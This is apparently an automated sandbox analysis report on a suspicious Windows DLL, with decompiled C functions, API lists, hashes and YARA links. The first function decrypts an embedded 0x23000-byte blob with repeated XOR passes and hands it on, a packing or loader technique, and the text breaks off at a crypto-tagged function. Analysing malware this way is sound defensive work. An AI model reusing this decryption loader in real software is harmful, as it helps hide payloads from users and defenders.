				void* _v16;
				char _v112;
				void* __ebp;
				intOrPtr _t60;
				void* _t63;
				void* _t64;
				signed int _t68;
				signed int _t69;
				signed char _t73;
				intOrPtr _t75;
				signed int _t76;
				void* _t88;
				void* _t89;
				signed int _t93;
				signed int _t94;
				unsigned int _t105;
				void* _t108;
				void* _t109;
				intOrPtr _t111;
				intOrPtr _t114;
				signed int _t116;
				intOrPtr _t118;

				_t106 = __edi;
				_t86 = __ebx;
				_push(__ebx);
				_push(__edi);
				_t118 = (_t116 & 0xfffffff0) - 0x70;
				_t111 = _t118;
				 *((intOrPtr*)(_t111 + 0x58)) = _t114;
				 *((intOrPtr*)(_t111 + 0x5c)) = _t118;
				 *(_t111 + 0x68) = 0xffffffff;
				 *((intOrPtr*)(_t111 + 0x64)) = E6E7B3B10;
				_t124 = _a8 - 1;
				 *((intOrPtr*)(_t111 + 0x60)) =  *[fs:0x0];
				 *[fs:0x0] = _t111 + 0x60;
				if(_a8 != 1) {
					L14:
					_t60 =  *((intOrPtr*)(_t111 + 0x60));
					 *[fs:0x0] = _t60;
					return _t60;
				} else {
					asm("movaps xmm1, [0x6e7c81d0]");
					asm("xorps xmm0, xmm0");
					asm("movaps [esi+0x30], xmm0");
					 *((intOrPtr*)(_t111 + 0x40)) = _a4;
					 *(_t111 + 0x44) = 0;
					asm("movups [esi+0x48], xmm1");
					E6E7B97A0(_t124, __fp0);
					 *((intOrPtr*)(_t111 + 0x23)) = 0xf8db84f8;
					 *((intOrPtr*)(_t111 + 0x27)) = 0x392538df;
					 *((intOrPtr*)(_t111 + 0x2b)) = 0x7048fbd1;
					 *((intOrPtr*)(_t111 + 0x14)) = 0x9e9e1da7;
					 *((intOrPtr*)(_t111 + 0x18)) = 0xe0e4bd1f;
					 *((intOrPtr*)(_t111 + 0x1c)) = 0x794c6027;
					 *((short*)(_t111 + 0x20)) = 0x7ccf;
					 *((char*)(_t111 + 0x2f)) = 0x17;
					 *((char*)(_t111 + 0x22)) = 0x5e;
					_t63 =  *0x6e7fadc8; // 0x680000
					if(_t63 != 0) {
						L4:
						_t64 = HeapAlloc(_t63, 0, 0x23000); // executed
						if(_t64 == 0) {
							goto L15;
						} else {
							 *(_t111 + 0xc) = _t64;
							E6E7BAE10(_t64, 0x6e7c8220, 0x23000);
							_t68 = 0;
							asm("o16 nop [cs:eax+eax]");
							do {
								_t108 = 0xfffdd000;
								_t88 = _t111 + 0x14;
								_t93 = 0;
								 *((intOrPtr*)(_t111 + 0x10)) = _t68;
								do {
									_t69 = _t93;
									_t93 = _t93 + 1;
									_t73 =  *(_t88 + (_t69 * 0x88888889 >> 0x20 >> 3) - (0x88888889 << 4)) & 0x000000ff;
									_t88 = _t88 + 1;
									 *( *(_t111 + 0xc) + _t108 + 0x23000) =  *( *(_t111 + 0xc) + _t108 + 0x23000) ^ _t73;
									_t108 = _t108 + 1;
								} while (_t108 != 0);
								_t68 =  *((intOrPtr*)(_t111 + 0x10)) + 1;
							} while (_t68 != 0x3e9);
							_t89 =  *(_t111 + 0xc);
							_t75 = 0;
							asm("o16 nop [cs:eax+eax]");
							do {
								_t109 = 0xfffdd000;
								_t94 = 0;
								 *((intOrPtr*)(_t111 + 0x10)) = _t75;
								asm("o16 nop [eax+eax]");
								do {
									_t76 = _t94;
									_t94 = _t94 + 1;
									_t105 = _t76 * 0x4ec4ec4f >> 0x20 >> 2;
									 *(_t89 + _t109 + 0x23000) =  *(_t89 + _t109 + 0x23000) ^  *(_t109 + _t111 + 0xfffffffc00023020) & 0x000000ff;
									_t109 = _t109 + 1;
								} while (_t109 != 0);
								_t75 =  *((intOrPtr*)(_t111 + 0x10)) + 1;
								_t132 = _t75 - 0x3e9;
							} while (_t75 != 0x3e9);
							 *(_t111 + 0x68) = 0;
							 *(_t111 + 0x30) =  *(_t111 + 0xc);
							_push(_t111 + 0x30);
							E6E7B9990(_t105, _t132);
							HeapFree( *0x6e7fadc8, 0,  *(_t111 + 0xc));
							goto L14;
						}
					} else {
						_t63 = GetProcessHeap();
						if(_t63 == 0) {
							L15:
							E6E7C6C30(_t86, 0x23000, 1, _t106, _t111, __eflags);
							asm("ud2");
							_push(_t114);
							return E6E7A1000( *((intOrPtr*)( &_v112 + 0xc)), 0x23000);
						} else {
							 *0x6e7fadc8 = _t63;
							goto L4;
						}
					}
				}
			}

0x6e7a1290
0x6e7a1290
0x6e7a1293
0x6e7a1294
0x6e7a1299
0x6e7a129c
0x6e7a129e
0x6e7a12a4
0x6e7a12a7
0x6e7a12ae
0x6e7a12bf
0x6e7a12c2
0x6e7a12c5
0x6e7a12cc
0x6e7a143a
0x6e7a143a
0x6e7a143d
0x6e7a144a
0x6e7a12d2
0x6e7a12d5
0x6e7a12dc
0x6e7a12df
0x6e7a12e3
0x6e7a12e6
0x6e7a12ed
0x6e7a12f1
0x6e7a12f6
0x6e7a12fd
0x6e7a1304
0x6e7a130b
0x6e7a1312
0x6e7a1319
0x6e7a1320
0x6e7a1326
0x6e7a132a
0x6e7a132e
0x6e7a1335
0x6e7a1349
0x6e7a1351
0x6e7a1358
0x00000000
0x6e7a135e
0x6e7a1368
0x6e7a136c
0x6e7a1374
0x6e7a1376
0x6e7a1380
0x6e7a1380
0x6e7a1385
0x6e7a1388
0x6e7a138a
0x6e7a1390
0x6e7a1390
0x6e7a1397
0x6e7a13a4
0x6e7a13ab
0x6e7a13ac
0x6e7a13b3
0x6e7a13b3
0x6e7a13b9
0x6e7a13ba
0x6e7a13c1
0x6e7a13c4
0x6e7a13c6
0x6e7a13d0
0x6e7a13d0
0x6e7a13d5
0x6e7a13d7
0x6e7a13da
0x6e7a13e0
0x6e7a13e0
0x6e7a13e7
0x6e7a13ea
0x6e7a13fc
0x6e7a1403
0x6e7a1403
0x6e7a1409
0x6e7a140a
0x6e7a140a
0x6e7a1414
0x6e7a141b
0x6e7a1421
0x6e7a1422
0x6e7a1435
0x00000000
0x6e7a1435
0x6e7a1337
0x6e7a1337
0x6e7a133e
0x6e7a144d
0x6e7a1457
0x6e7a145c
0x6e7a1460
0x6e7a147b
0x6e7a1344
0x6e7a1344
0x00000000
0x6e7a1344
0x6e7a133e
0x6e7a1335

APIs

Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B97D6
Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B97F4
Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B980D
Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B980F
Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B9816
Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B9834

GetProcessHeap.KERNEL32 ref: 6E7A1337
HeapAlloc.KERNEL32(00680000,00000000,00023000), ref: 6E7A1351
HeapFree.KERNEL32(00000000,?), ref: 6E7A1435

Strings

'`Ly, xrefs: 6E7A1319

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick$Heap$AllocFreeProcess
String ID: '`Ly
API String ID: 2047189075-560155178
Opcode ID: 4c428e21f60c947a504f4a75f53da7da6b2e5b02e6edf6ca9327752ca551f85c
Instruction ID: 397f8b2a4a4b2634dddc3680e38eb0e2ae6c92ebff7d4b1539963bb4ebf1368b
Opcode Fuzzy Hash: 4c428e21f60c947a504f4a75f53da7da6b2e5b02e6edf6ca9327752ca551f85c
Instruction Fuzzy Hash: 12518970600B408FD3248F68D984B57BBF8FF59318F108A2DD9968BA65E734F5058B90

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C1AA1, Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E6E7C1AA1() {
				intOrPtr _v8;
				signed int _v12;
				WCHAR* _t5;
				void* _t6;
				intOrPtr _t9;
				WCHAR* _t10;
				WCHAR* _t19;
				WCHAR* _t26;
				WCHAR* _t29;

				_push(_t21);
				_t5 = GetEnvironmentStringsW();
				_t29 = _t5;
				if(_t29 != 0) {
					_t6 = E6E7C1A6A(_t29);
					_t19 = 0;
					_v12 = _t6 - _t29 >> 1;
					_t9 = E6E7C19B3(0, 0, _t29, _t6 - _t29 >> 1, 0, 0, 0, 0);
					_v8 = _t9;
					if(_t9 != 0) {
						_t10 = E6E7BFC29(_t9); // executed
						_t26 = _t10;
						_push(0);
						if(_t26 != 0) {
							_push(0);
							_push(_v8);
							_push(_t26);
							_push(_v12);
							_push(_t29);
							_push(0);
							_push(0);
							if(E6E7C19B3() != 0) {
								E6E7C05C3(0);
								_t19 = _t26;
							} else {
								E6E7C05C3(_t26);
							}
							FreeEnvironmentStringsW(_t29);
							_t5 = _t19;
						} else {
							E6E7C05C3();
							FreeEnvironmentStringsW(_t29);
							_t5 = 0;
						}
					} else {
						FreeEnvironmentStringsW(_t29);
						_t5 = 0;
					}
				}
				return _t5;
			}

0x6e7c1aa7
0x6e7c1aa9
0x6e7c1aaf
0x6e7c1ab3
0x6e7c1abb
0x6e7c1ac0
0x6e7c1ace
0x6e7c1ad1
0x6e7c1ad9
0x6e7c1ade
0x6e7c1aed
0x6e7c1af2
0x6e7c1af5
0x6e7c1af8
0x6e7c1b0b
0x6e7c1b0c
0x6e7c1b0f
0x6e7c1b10
0x6e7c1b13
0x6e7c1b14
0x6e7c1b15
0x6e7c1b20
0x6e7c1b2b
0x6e7c1b30
0x6e7c1b22
0x6e7c1b23
0x6e7c1b23
0x6e7c1b34
0x6e7c1b3a
0x6e7c1afa
0x6e7c1afa
0x6e7c1b01
0x6e7c1b07
0x6e7c1b07
0x6e7c1ae0
0x6e7c1ae1
0x6e7c1ae7
0x6e7c1ae7
0x6e7c1b3d
0x6e7c1b40

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6E7C1AA9

Part of subcall function 6E7C19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E7C3B22,?,00000000,-00000008), ref: 6E7C1A5F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E7C1AE1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E7C1B01

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: a1bd96984f4fa6f7933df4f467cbfe0962d8058d67bd3d82b3af6b6d72f2d5e1
Instruction ID: 8f1e4c0aa91dbf6bf0a0e4d380824c9a51f24f11ffc7ea9c7036f8bfcddc7503
Opcode Fuzzy Hash: a1bd96984f4fa6f7933df4f467cbfe0962d8058d67bd3d82b3af6b6d72f2d5e1
Instruction Fuzzy Hash: 0711E1E15055197F6B015FF65E8DCAF69BCDE4AB983000835F90192110FA60DE0549B2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BA114, Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6E7BA114(void* __ebx, void* __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, void* __eflags, void* __fp0) {
				void* _t43;
				char _t44;
				signed int _t48;
				signed int _t54;
				signed int _t55;
				signed int _t56;
				signed int _t59;
				signed char _t67;
				signed int _t69;
				void* _t80;
				signed int _t86;
				void* _t90;
				void* _t102;
				signed int _t110;
				signed int _t115;
				signed int _t119;
				intOrPtr* _t121;
				void* _t123;
				void* _t140;

				_t140 = __fp0;
				_t113 = __esi;
				_t106 = __edi;
				_t105 = __edx;
				_push(0x10);
				E6E7BAC90(__ebx, __edi, __esi);
				_t43 = E6E7BA96D(__ecx, __edx, 0); // executed
				_t90 = 0x6e7f7d60;
				if(_t43 == 0) {
					L11:
					_t44 = 0;
					__eflags = 0;
					goto L12;
				} else {
					 *((char*)(_t123 - 0x1d)) = E6E7BA872();
					_t85 = 1;
					 *((char*)(_t123 - 0x19)) = 1;
					 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
					_t132 =  *0x6e7fb158;
					if( *0x6e7fb158 != 0) {
						E6E7BAB0C(_t105, __edi, __esi, 7);
						asm("int3");
						_push(0x10);
						_push(0x6e7f7d80);
						E6E7BAC90(1, __edi, __esi);
						_t48 =  *0x6e7fae14; // 0x0
						__eflags = _t48;
						if(_t48 > 0) {
							 *0x6e7fae14 = _t48 - 1;
							 *(_t123 - 0x1c) = 1;
							 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
							 *((char*)(_t123 - 0x20)) = E6E7BA872();
							 *(_t123 - 4) = 1;
							__eflags =  *0x6e7fb158 - 2;
							if( *0x6e7fb158 != 2) {
								E6E7BAB0C(_t105, 1, _t113, 7);
								asm("int3");
								_push(0xc);
								_push(0x6e7f7da8);
								E6E7BAC90(1, 1, _t113);
								_t110 =  *(_t123 + 0xc);
								__eflags = _t110;
								if(_t110 != 0) {
									L23:
									 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
									__eflags = _t110 - 1;
									if(_t110 == 1) {
										L26:
										_t86 =  *(_t123 + 0x10);
										_t115 = E6E7BA3D6( *((intOrPtr*)(_t123 + 8)), _t110, _t86);
										 *(_t123 - 0x1c) = _t115;
										__eflags = _t115;
										if(_t115 != 0) {
											_t55 = E6E7BA0C1(_t90,  *((intOrPtr*)(_t123 + 8)), _t110, _t86); // executed
											_t115 = _t55;
											 *(_t123 - 0x1c) = _t115;
											__eflags = _t115;
											if(_t115 != 0) {
												goto L28;
											}
										}
									} else {
										__eflags = _t110 - 2;
										if(_t110 == 2) {
											goto L26;
										} else {
											_t86 =  *(_t123 + 0x10);
											L28:
											_t56 = E6E7A1290(_t86, _t110, _t115, _t140,  *((intOrPtr*)(_t123 + 8)), _t110, _t86); // executed
											_t115 = _t56;
											 *(_t123 - 0x1c) = _t115;
											__eflags = _t110 - 1;
											if(_t110 == 1) {
												__eflags = _t115;
												if(_t115 == 0) {
													_t59 = E6E7A1290(_t86, _t110, _t115, _t140,  *((intOrPtr*)(_t123 + 8)), _t56, _t86);
													__eflags = _t86;
													_t34 = _t86 != 0;
													__eflags = _t34;
													_push((_t59 & 0xffffff00 | _t34) & 0x000000ff);
													L14();
													_pop(_t90);
													E6E7BA3D6( *((intOrPtr*)(_t123 + 8)), _t115, _t86);
												}
											}
											__eflags = _t110;
											if(_t110 == 0) {
												L33:
												_t115 = E6E7BA0C1(_t90,  *((intOrPtr*)(_t123 + 8)), _t110, _t86);
												 *(_t123 - 0x1c) = _t115;
												__eflags = _t115;
												if(_t115 != 0) {
													_t115 = E6E7BA3D6( *((intOrPtr*)(_t123 + 8)), _t110, _t86);
													 *(_t123 - 0x1c) = _t115;
												}
											} else {
												__eflags = _t110 - 3;
												if(_t110 == 3) {
													goto L33;
												}
											}
										}
									}
									 *(_t123 - 4) = 0xfffffffe;
									_t54 = _t115;
								} else {
									__eflags =  *0x6e7fae14 - _t110; // 0x0
									if(__eflags > 0) {
										goto L23;
									} else {
										_t54 = 0;
									}
								}
								 *[fs:0x0] =  *((intOrPtr*)(_t123 - 0x10));
								return _t54;
							} else {
								E6E7BA93D(1, _t90, 1, _t113);
								E6E7BA7F9();
								E6E7BAC5B();
								 *0x6e7fb158 =  *0x6e7fb158 & 0x00000000;
								 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
								E6E7BA2B0();
								_t67 = E6E7BAADE(_t90,  *((intOrPtr*)(_t123 + 8)), 0);
								asm("sbb esi, esi");
								_t119 =  ~(_t67 & 0x000000ff) & 1;
								__eflags = _t119;
								 *(_t123 - 0x1c) = _t119;
								 *(_t123 - 4) = 0xfffffffe;
								E6E7BA2BD();
								_t69 = _t119;
								goto L18;
							}
						} else {
							_t69 = 0;
							L18:
							 *[fs:0x0] =  *((intOrPtr*)(_t123 - 0x10));
							return _t69;
						}
					} else {
						 *0x6e7fb158 = 1;
						if(E6E7BA8CF(_t132) != 0) {
							E6E7BA7ED(E6E7BAC2F());
							E6E7BA811();
							_t80 = E6E7BE791(0x6e7c817c, 0x6e7c818c); // executed
							_pop(_t102);
							if(_t80 == 0 && E6E7BA8A4(1, _t102) != 0) {
								E6E7BE766(0x6e7c8158, 0x6e7c8178); // executed
								 *0x6e7fb158 = 2;
								_t85 = 0;
								 *((char*)(_t123 - 0x19)) = 0;
							}
						}
						 *(_t123 - 4) = 0xfffffffe;
						E6E7BA1F7();
						if(_t85 != 0) {
							goto L11;
						} else {
							_t121 = E6E7BAB06();
							_t138 =  *_t121;
							if( *_t121 != 0) {
								_push(_t121);
								if(E6E7BAA2D(_t85, _t106, _t121, _t138) != 0) {
									 *0x6e7c8154( *((intOrPtr*)(_t123 + 8)), 2,  *(_t123 + 0xc));
									 *((intOrPtr*)( *_t121))();
								}
							}
							 *0x6e7fae14 =  *0x6e7fae14 + 1;
							_t44 = 1;
						}
						L12:
						 *[fs:0x0] =  *((intOrPtr*)(_t123 - 0x10));
						return _t44;
					}
				}
			}

0x6e7ba114
0x6e7ba114
0x6e7ba114
0x6e7ba114
0x6e7ba114
0x6e7ba11b
0x6e7ba122
0x6e7ba127
0x6e7ba12a
0x6e7ba201
0x6e7ba201
0x6e7ba201
0x00000000
0x6e7ba130
0x6e7ba135
0x6e7ba138
0x6e7ba13a
0x6e7ba13d
0x6e7ba141
0x6e7ba148
0x6e7ba215
0x6e7ba21a
0x6e7ba21b
0x6e7ba21d
0x6e7ba222
0x6e7ba227
0x6e7ba22c
0x6e7ba22e
0x6e7ba235
0x6e7ba23d
0x6e7ba240
0x6e7ba249
0x6e7ba24c
0x6e7ba24f
0x6e7ba256
0x6e7ba2c5
0x6e7ba2ca
0x6e7ba2cb
0x6e7ba2cd
0x6e7ba2d2
0x6e7ba2d7
0x6e7ba2da
0x6e7ba2dc
0x6e7ba2ed
0x6e7ba2ed
0x6e7ba2f1
0x6e7ba2f4
0x6e7ba300
0x6e7ba300
0x6e7ba30d
0x6e7ba30f
0x6e7ba312
0x6e7ba314
0x6e7ba31f
0x6e7ba324
0x6e7ba326
0x6e7ba329
0x6e7ba32b
0x00000000
0x00000000
0x6e7ba32b
0x6e7ba2f6
0x6e7ba2f6
0x6e7ba2f9
0x00000000
0x6e7ba2fb
0x6e7ba2fb
0x6e7ba331
0x6e7ba336
0x6e7ba33b
0x6e7ba33d
0x6e7ba340
0x6e7ba343
0x6e7ba345
0x6e7ba347
0x6e7ba34e
0x6e7ba353
0x6e7ba355
0x6e7ba355
0x6e7ba35b
0x6e7ba35c
0x6e7ba361
0x6e7ba367
0x6e7ba367
0x6e7ba347
0x6e7ba36c
0x6e7ba36e
0x6e7ba375
0x6e7ba37f
0x6e7ba381
0x6e7ba384
0x6e7ba386
0x6e7ba392
0x6e7ba3ba
0x6e7ba3ba
0x6e7ba370
0x6e7ba370
0x6e7ba373
0x00000000
0x00000000
0x6e7ba373
0x6e7ba36e
0x6e7ba2f9
0x6e7ba3bd
0x6e7ba3c4
0x6e7ba2de
0x6e7ba2de
0x6e7ba2e4
0x00000000
0x6e7ba2e6
0x6e7ba2e6
0x6e7ba2e6
0x6e7ba2e4
0x6e7ba3c9
0x6e7ba3d5
0x6e7ba258
0x6e7ba258
0x6e7ba25d
0x6e7ba262
0x6e7ba267
0x6e7ba26e
0x6e7ba272
0x6e7ba27c
0x6e7ba288
0x6e7ba28a
0x6e7ba28a
0x6e7ba28c
0x6e7ba28f
0x6e7ba296
0x6e7ba29b
0x00000000
0x6e7ba29b
0x6e7ba230
0x6e7ba230
0x6e7ba29d
0x6e7ba2a0
0x6e7ba2ac
0x6e7ba2ac
0x6e7ba14e
0x6e7ba14e
0x6e7ba15f
0x6e7ba166
0x6e7ba16b
0x6e7ba17a
0x6e7ba180
0x6e7ba183
0x6e7ba198
0x6e7ba19f
0x6e7ba1a9
0x6e7ba1ab
0x6e7ba1ab
0x6e7ba183
0x6e7ba1ae
0x6e7ba1b5
0x6e7ba1bc
0x00000000
0x6e7ba1be
0x6e7ba1c3
0x6e7ba1c5
0x6e7ba1c8
0x6e7ba1ca
0x6e7ba1d3
0x6e7ba1e1
0x6e7ba1e7
0x6e7ba1e7
0x6e7ba1d3
0x6e7ba1e9
0x6e7ba1f1
0x6e7ba1f1
0x6e7ba203
0x6e7ba206
0x6e7ba212
0x6e7ba212
0x6e7ba148

APIs

__RTC_Initialize.LIBCMT ref: 6E7BA161

Part of subcall function 6E7BA7ED: InitializeSListHead.KERNEL32(6E7FB140,6E7BA16B,6E7F7D60,00000010,6E7BA0FC,?,?,?,6E7BA324,?,00000001,?,?,00000001,?,6E7F7DA8), ref: 6E7BA7F2

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6E7BA1CB

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 664c7adadad932cb74e4fd3355e15ec5bd0317e1986ef2d36d2f38f400c17cf4
Instruction ID: 6850a65f00cd4c23d3906ac13f40145c3cc6b637d40822ad529482da0bf911bc
Opcode Fuzzy Hash: 664c7adadad932cb74e4fd3355e15ec5bd0317e1986ef2d36d2f38f400c17cf4
Instruction Fuzzy Hash: D921F0315446899FEB91BFF89B087DC37A99F0272CF100C29C4652B2F1DB321145CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C0566, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7C0566(signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				signed int _t18;
				long _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x6e7fb5d8, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E6E7C2E1C();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E6E7BF90F())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E6E7BE7CE(__eflags, _t19);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x6e7c056c
0x6e7c0571
0x6e7c057f
0x6e7c057f
0x6e7c0585
0x6e7c0587
0x6e7c0587
0x6e7c059e
0x6e7c05a7
0x6e7c05af
0x00000000
0x00000000
0x6e7c058f
0x6e7c0591
0x6e7c05b3
0x6e7c05b8
0x6e7c05be
0x00000000
0x6e7c05be
0x6e7c0594
0x6e7c059a
0x6e7c059c
0x00000000
0x00000000
0x6e7c059c
0x00000000
0x6e7c059e
0x6e7c0577
0x6e7c057d
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,6E7C017F,00000001,00000364,?,FFFFFFFF,000000FF,?,?,6E7BA44C,?,?,6E7B99B4), ref: 6E7C05A7

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 233a337ef77bb0fcbdb3a0eaf69e023da8c55441ab21f704e8d5dc852a1bb598
Instruction ID: fd6a9b42b82df76e1bb7e43d3d4152f6ebb582146a2816768bb5052372d61424
Opcode Fuzzy Hash: 233a337ef77bb0fcbdb3a0eaf69e023da8c55441ab21f704e8d5dc852a1bb598
Instruction Fuzzy Hash: 8FF0B4716486256FAB515EF6BF18E8A374CDB41F60B004131EC24E71A4EB30EA41AAE2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BFC29, Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7BFC29(long _a4) {
				void* _t4;
				void* _t6;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E6E7BF90F())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x6e7fb5d8, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E6E7C2E1C();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E6E7BE7CE(__eflags, _t8);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x6e7bfc2f
0x6e7bfc35
0x6e7bfc67
0x6e7bfc6c
0x6e7bfc72
0x00000000
0x6e7bfc72
0x6e7bfc39
0x6e7bfc3b
0x6e7bfc3b
0x6e7bfc52
0x6e7bfc5b
0x6e7bfc63
0x00000000
0x00000000
0x6e7bfc43
0x6e7bfc45
0x00000000
0x00000000
0x6e7bfc48
0x6e7bfc4e
0x6e7bfc50
0x00000000
0x00000000
0x6e7bfc50
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6E7BA44C,?,?,6E7B99B4,00000400,FFFDD001,?,?,?), ref: 6E7BFC5B

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6f1ab042ffd1154298b3332b0f9e51d27702b7952d3024d1a75a2a5a834fe9e1
Instruction ID: 5878fbf4750c3d81161329b05bd6477822c1ac612f805a4c70e25e0580e75809
Opcode Fuzzy Hash: 6f1ab042ffd1154298b3332b0f9e51d27702b7952d3024d1a75a2a5a834fe9e1
Instruction Fuzzy Hash: 60E065392496166BEA591EE65F08BA6764CDF42FA4F310530ECA4D76B4CF30D48047A1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E7AD530, Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 445
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6E7AD530(signed int __ebx, long* __ecx, signed int __edi, long __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				long _v40;
				void* _v44;
				void* _v48;
				long _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long* _v76;
				signed int _v80;
				signed int _v1096;
				long _v1100;
				void* _v1104;
				void* __ebp;
				void* _t142;
				void* _t143;
				void* _t148;
				signed int _t149;
				intOrPtr _t151;
				void* _t155;
				void* _t157;
				signed int _t158;
				signed int _t160;
				void** _t161;
				void* _t167;
				long _t171;
				signed int _t172;
				long _t173;
				void* _t179;
				void* _t181;
				long _t194;
				signed int _t195;
				signed char _t196;
				signed int _t199;
				signed int _t200;
				signed int _t211;
				signed int _t213;
				signed int _t214;
				void* _t218;
				intOrPtr _t220;
				signed int _t223;
				intOrPtr* _t224;
				intOrPtr _t226;
				signed int _t228;
				char* _t229;
				signed int _t230;
				signed int _t232;
				signed int _t238;
				signed int _t241;
				signed int _t242;
				WCHAR* _t247;
				long _t248;
				signed int _t249;
				signed int _t252;
				char* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				signed char* _t273;
				signed int _t274;
				void* _t280;
				intOrPtr _t281;

				_t262 = __esi;
				_t245 = __edi;
				_t192 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t281 = _t280 - 0x440;
				_v32 = _t281;
				_v20 = 0xffffffff;
